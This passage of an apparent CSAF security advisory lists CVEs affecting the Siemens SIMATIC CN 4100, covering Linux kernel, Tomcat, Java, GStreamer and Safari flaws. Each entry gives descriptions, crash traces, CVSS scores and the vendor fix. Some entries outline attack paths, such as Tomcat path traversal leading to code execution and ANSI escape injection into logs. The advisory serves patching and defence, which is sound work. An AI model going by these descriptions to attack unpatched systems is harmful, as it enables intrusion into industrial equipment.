checking.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39853\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: i40e: Fix potential invalid access when MAC list is empty list_first_entry() never returns NULL - if the list is empty, it still returns a pointer to an invalid object, leading to potential invalid memory access when dereferenced. Fix this by using list_first_entry_or_null instead of list_first_entry.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39857\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net/smc: fix one NULL pointer dereference in smc_ib_is_sg_need_sync() BUG: kernel NULL pointer dereference, address: 00000000000002ec PGD 0 P4D 0 Oops: Oops: 0000 [#1] SMP PTI CPU: 28 UID: 0 PID: 343 Comm: kworker/28:1 Kdump: loaded Tainted: G OE 6.17.0-rc2+ #9 NONE Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.15.0-1 04/01/2014 Workqueue: smc_hs_wq smc_listen_work [smc] RIP: 0010:smc_ib_is_sg_need_sync+0x9e/0xd0 [smc] ... Call Trace: smcr_buf_map_link+0x211/0x2a0 [smc] __smc_buf_create+0x522/0x970 [smc] smc_buf_create+0x3a/0x110 [smc] smc_find_rdma_v2_device_serv+0x18f/0x240 [smc] ? smc_vlan_by_tcpsk+0x7e/0xe0 [smc] smc_listen_find_device+0x1dd/0x2b0 [smc] smc_listen_work+0x30f/0x580 [smc] process_one_work+0x18c/0x340 worker_thread+0x242/0x360 kthread+0xe7/0x220 ret_from_fork+0x13a/0x160 ret_from_fork_asm+0x1a/0x30 If the software RoCE device is used, ibdev->dma_device is a null pointer. As a result, the problem occurs. Null pointer detection is added to prevent problems.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39860\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: Bluetooth: Fix use-after-free in l2cap_sock_cleanup_listen() syzbot reported the splat below without a repro. In the splat, a single thread calling bt_accept_dequeue() freed sk and touched it after that. The root cause would be the racy l2cap_sock_cleanup_listen() call added by the cited commit. bt_accept_dequeue() is called under lock_sock() except for l2cap_sock_release(). Two threads could see the same socket during the list iteration in bt_accept_dequeue(): CPU1 CPU2 (close()) ---- ---- sock_hold(sk) sock_hold(sk); lock_sock(sk) <-- block close() sock_put(sk) bt_accept_unlink(sk) sock_put(sk) <-- refcnt by bt_accept_enqueue() release_sock(sk) lock_sock(sk) sock_put(sk) bt_accept_unlink(sk) sock_put(sk) <-- last refcnt bt_accept_unlink(sk) <-- UAF Depending on the timing, the other thread could show up in the \"Freed by task\" part. Let's call l2cap_sock_cleanup_listen() under lock_sock() in l2cap_sock_release(). [0]: BUG: KASAN: slab-use-after-free in debug_spin_lock_before kernel/locking/spinlock_debug.c:86 [inline] BUG: KASAN: slab-use-after-free in do_raw_spin_lock+0x26f/0x2b0 kernel/locking/spinlock_debug.c:115 Read of size 4 at addr ffff88803b7eb1c4 by task syz.5.3276/16995 CPU: 3 UID: 0 PID: 16995 Comm: syz.5.3276 Not tainted syzkaller #0 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014 Call Trace: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0xcd/0x630 mm/kasan/report.c:482 kasan_report+0xe0/0x110 mm/kasan/report.c:595 debug_spin_lock_before kernel/locking/spinlock_debug.c:86 [inline] do_raw_spin_lock+0x26f/0x2b0 kernel/locking/spinlock_debug.c:115 spin_lock_bh include/linux/spinlock.h:356 [inline] release_sock+0x21/0x220 net/core/sock.c:3746 bt_accept_dequeue+0x505/0x600 net/bluetooth/af_bluetooth.c:312 l2cap_sock_cleanup_listen+0x5c/0x2a0 net/bluetooth/l2cap_sock.c:1451 l2cap_sock_release+0x5c/0x210 net/bluetooth/l2cap_sock.c:1425 __sock_release+0xb3/0x270 net/socket.c:649 sock_close+0x1c/0x30 net/socket.c:1439 __fput+0x3ff/0xb70 fs/file_table.c:468 task_work_run+0x14d/0x240 kernel/task_work.c:227 resume_user_mode_work include/linux/resume_user_mode.h:50 [inline] exit_to_user_mode_loop+0xeb/0x110 kernel/entry/common.c:43 exit_to_user_mode_prepare include/linux/irq-entry-common.h:225 [inline] syscall_exit_to_user_mode_work include/linux/entry-common.h:175 [inline] syscall_exit_to_user_mode include/linux/entry-common.h:210 [inline] do_syscall_64+0x3f6/0x4c0 arch/x86/entry/syscall_64.c:100 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f2accf8ebe9 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007ffdb6cb1378 EFLAGS: 00000246 ORIG_RAX: 00000000000001b4 RAX: 0000000000000000 RBX: 00000000000426fb RCX: 00007f2accf8ebe9 RDX: 0000000000000000 RSI: 000000000000001e RDI: 0000000000000003 RBP: 00007f2acd1b7da0 R08: 0000000000000001 R09: 00000012b6cb166f R10: 0000001b30e20000 R11: 0000000000000246 R12: 00007f2acd1b609c R13: 00007f2acd1b6090 R14: ffffffffffffffff R15: 00007ffdb6cb1490 Allocated by task 5326: kasan_save_stack+0x33/0x60 mm/kasan/common.c:47 kasan_save_track+0x14/0x30 mm/kasan/common.c:68 poison_kmalloc_redzone mm/kasan/common.c:388 [inline] __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:405 kasan_kmalloc include/linux/kasan.h:260 [inline] __do_kmalloc_node mm/slub.c:4365 [inline] __kmalloc_nopro ---truncated---\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39864\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: wifi: cfg80211: fix use-after-free in cmp_bss() Following bss_free() quirk introduced in commit 776b3580178f (\"cfg80211: track hidden SSID networks properly\"), adjust cfg80211_update_known_bss() to free the last beacon frame elements only if they're not shared via the corresponding 'hidden_beacon_bss' pointer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39865\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tee: fix NULL pointer dereference in tee_shm_put tee_shm_put have NULL pointer dereference: __optee_disable_shm_cache --> shm = reg_pair_to_ptr(...);//shm maybe return NULL tee_shm_free(shm); --> tee_shm_put(shm);//crash Add check in tee_shm_put to fix it. panic log: Unable to handle kernel paging request at virtual address 0000000000100cca Mem abort info: ESR = 0x0000000096000004 EC = 0x25: DABT (current EL), IL = 32 bits SET = 0, FnV = 0 EA = 0, S1PTW = 0 FSC = 0x04: level 0 translation fault Data abort info: ISV = 0, ISS = 0x00000004, ISS2 = 0x00000000 CM = 0, WnR = 0, TnD = 0, TagAccess = 0 GCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0 user pgtable: 4k pages, 48-bit VAs, pgdp=0000002049d07000 [0000000000100cca] pgd=0000000000000000, p4d=0000000000000000 Internal error: Oops: 0000000096000004 [#1] SMP CPU: 2 PID: 14442 Comm: systemd-sleep Tainted: P OE ------- ---- 6.6.0-39-generic #38 Source Version: 938b255f6cb8817c95b0dd5c8c2944acfce94b07 Hardware name: greatwall GW-001Y1A-FTH, BIOS Great Wall BIOS V3.0 10/26/2022 pstate: 80000005 (Nzcv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : tee_shm_put+0x24/0x188 lr : tee_shm_free+0x14/0x28 sp : ffff001f98f9faf0 x29: ffff001f98f9faf0 x28: ffff0020df543cc0 x27: 0000000000000000 x26: ffff001f811344a0 x25: ffff8000818dac00 x24: ffff800082d8d048 x23: ffff001f850fcd18 x22: 0000000000000001 x21: ffff001f98f9fb88 x20: ffff001f83e76218 x19: ffff001f83e761e0 x18: 000000000000ffff x17: 303a30303a303030 x16: 0000000000000000 x15: 0000000000000003 x14: 0000000000000001 x13: 0000000000000000 x12: 0101010101010101 x11: 0000000000000001 x10: 0000000000000001 x9 : ffff800080e08d0c x8 : ffff001f98f9fb88 x7 : 0000000000000000 x6 : 0000000000000000 x5 : 0000000000000000 x4 : 0000000000000000 x3 : 0000000000000000 x2 : ffff001f83e761e0 x1 : 00000000ffff001f x0 : 0000000000100cca Call trace: tee_shm_put+0x24/0x188 tee_shm_free+0x14/0x28 __optee_disable_shm_cache+0xa8/0x108 optee_shutdown+0x28/0x38 platform_shutdown+0x28/0x40 device_shutdown+0x144/0x2b0 kernel_power_off+0x3c/0x80 hibernate+0x35c/0x388 state_store+0x64/0x80 kobj_attr_store+0x14/0x28 sysfs_kf_write+0x48/0x60 kernfs_fop_write_iter+0x128/0x1c0 vfs_write+0x270/0x370 ksys_write+0x6c/0x100 __arm64_sys_write+0x20/0x30 invoke_syscall+0x4c/0x120 el0_svc_common.constprop.0+0x44/0xf0 do_el0_svc+0x24/0x38 el0_svc+0x24/0x88 el0t_64_sync_handler+0x134/0x150 el0t_64_sync+0x14c/0x15\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39866\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs: writeback: fix use-after-free in __mark_inode_dirty() An use-after-free issue occurred when __mark_inode_dirty() get the bdi_writeback that was in the progress of switching. CPU: 1 PID: 562 Comm: systemd-random- Not tainted 6.6.56-gb4403bd46a8e #1 ...... pstate: 60400005 (nZCv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : __mark_inode_dirty+0x124/0x418 lr : __mark_inode_dirty+0x118/0x418 sp : ffffffc08c9dbbc0 ........ Call trace: __mark_inode_dirty+0x124/0x418 generic_update_time+0x4c/0x60 file_modified+0xcc/0xd0 ext4_buffered_write_iter+0x58/0x124 ext4_file_write_iter+0x54/0x704 vfs_write+0x1c0/0x308 ksys_write+0x74/0x10c __arm64_sys_write+0x1c/0x28 invoke_syscall+0x48/0x114 el0_svc_common.constprop.0+0xc0/0xe0 do_el0_svc+0x1c/0x28 el0_svc+0x40/0xe4 el0t_64_sync_handler+0x120/0x12c el0t_64_sync+0x194/0x198 Root cause is: systemd-random-seed kworker ---------------------------------------------------------------------- ___mark_inode_dirty inode_switch_wbs_work_fn spin_lock(&inode->i_lock); inode_attach_wb locked_inode_to_wb_and_lock_list get inode->i_wb spin_unlock(&inode->i_lock); spin_lock(&wb->list_lock) spin_lock(&inode->i_lock) inode_io_list_move_locked spin_unlock(&wb->list_lock) spin_unlock(&inode->i_lock) spin_lock(&old_wb->list_lock) inode_do_switch_wbs spin_lock(&inode->i_lock) inode->i_wb = new_wb spin_unlock(&inode->i_lock) spin_unlock(&old_wb->list_lock) wb_put_many(old_wb, nr_switched) cgwb_release old wb released wb_wakeup_delayed() accesses wb, then trigger the use-after-free issue Fix this race condition by holding inode spinlock until wb_wakeup_delayed() finished.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-40300\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: x86/vmscape: Add conditional IBPB mitigation VMSCAPE is a vulnerability that exploits insufficient branch predictor isolation between a guest and a userspace hypervisor (like QEMU). Existing mitigations already protect kernel/KVM from a malicious guest. Userspace can additionally be protected by flushing the branch predictors after a VMexit. Since it is the userspace that consumes the poisoned branch predictors, conditionally issue an IBPB after a VMexit and before returning to userspace. Workloads that frequently switch between hypervisor and userspace will incur the most overhead from the new IBPB. This new IBPB is not integrated with the existing IBPB sites. For instance, a task can use the existing speculation control prctl() to get an IBPB at context switch time. With this implementation, the IBPB is doubled up: one at context switch and another before running userspace. The intent is to integrate and optimize these cases post-embargo. [ dhansen: elaborate on suboptimal IBPB solution ]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-402 Transmission of Private Resources into a New Sphere ('Resource Leak')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-43368\n<div class=\"csaf-accordion-content\">\n\nA use-after-free issue was addressed with improved memory management. This issue is fixed in Safari 26, iOS 26 and iPadOS 26, macOS Tahoe 26. Processing maliciously crafted web content may lead to an unexpected Safari crash.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n4.3\nMEDIUM\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-47219\n<div class=\"csaf-accordion-content\">\n\nIn GStreamer through 1.26.1, the isomp4 plugin's qtdemux_parse_trak function may read past the end of a heap buffer while parsing an MP4 file, possibly leading to information disclosure.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n8.1\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-48989\n<div class=\"csaf-accordion-content\">\n\nImproper Resource Shutdown or Release vulnerability in Apache Tomcat made Tomcat vulnerable to the made you reset attack. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.9, from 10.1.0-M1 through 10.1.43 and from 9.0.0.M1 through 9.0.107. Older, EOL versions may also be affected. Users are recommended to upgrade to one of versions 11.0.10, 10.1.44 or 9.0.108 which fix the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-404 Improper Resource Shutdown or Release\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-53057\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Security). Supported versions that are affected are Oracle Java SE: 8u461, 8u461-perf, 11.0.28, 17.0.16, 21.0.8, 25; Oracle GraalVM for JDK: 17.0.16 and 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-284 Improper Access Control\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-53066\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JAXP). Supported versions that are affected are Oracle Java SE: 8u461, 8u461-perf, 11.0.28, 17.0.16, 21.0.8, 25; Oracle GraalVM for JDK: 17.0.16 and 21.0.8; Oracle GraalVM Enterprise Edition: 21.3.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-55752\n<div class=\"csaf-accordion-content\">\n\nRelative Path Traversal vulnerability in Apache Tomcat. The fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-23 Relative Path Traversal\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.5\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-55754\n<div class=\"csaf-accordion-content\">\n\nImproper Neutralization of Escape, Meta, or Control Sequences vulnerability in Apache Tomcat. Tomcat did not escape ANSI escape sequences in log messages. If Tomcat was running in a console on a Windows operating system, and the console supported ANSI escape sequences, it was possible for an attacker to use a specially crafted URL to inject ANSI escape sequences to manipulate the console and the clipboard and attempt to trick an administrator into running an attacker controlled command. While no attack vector was found, it may have been possible to mount this attack on other operating systems. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.40 through 9.0.108. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.60 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-150 Improper Neutralization of Escape, Meta, or Control Sequences\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n9.6\nCRITICAL\nCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-61748\n<div class=\"csaf-accordion-content\">\n\nVulnerability in the Oracle Java SE, Oracle GraalVM for JDK, 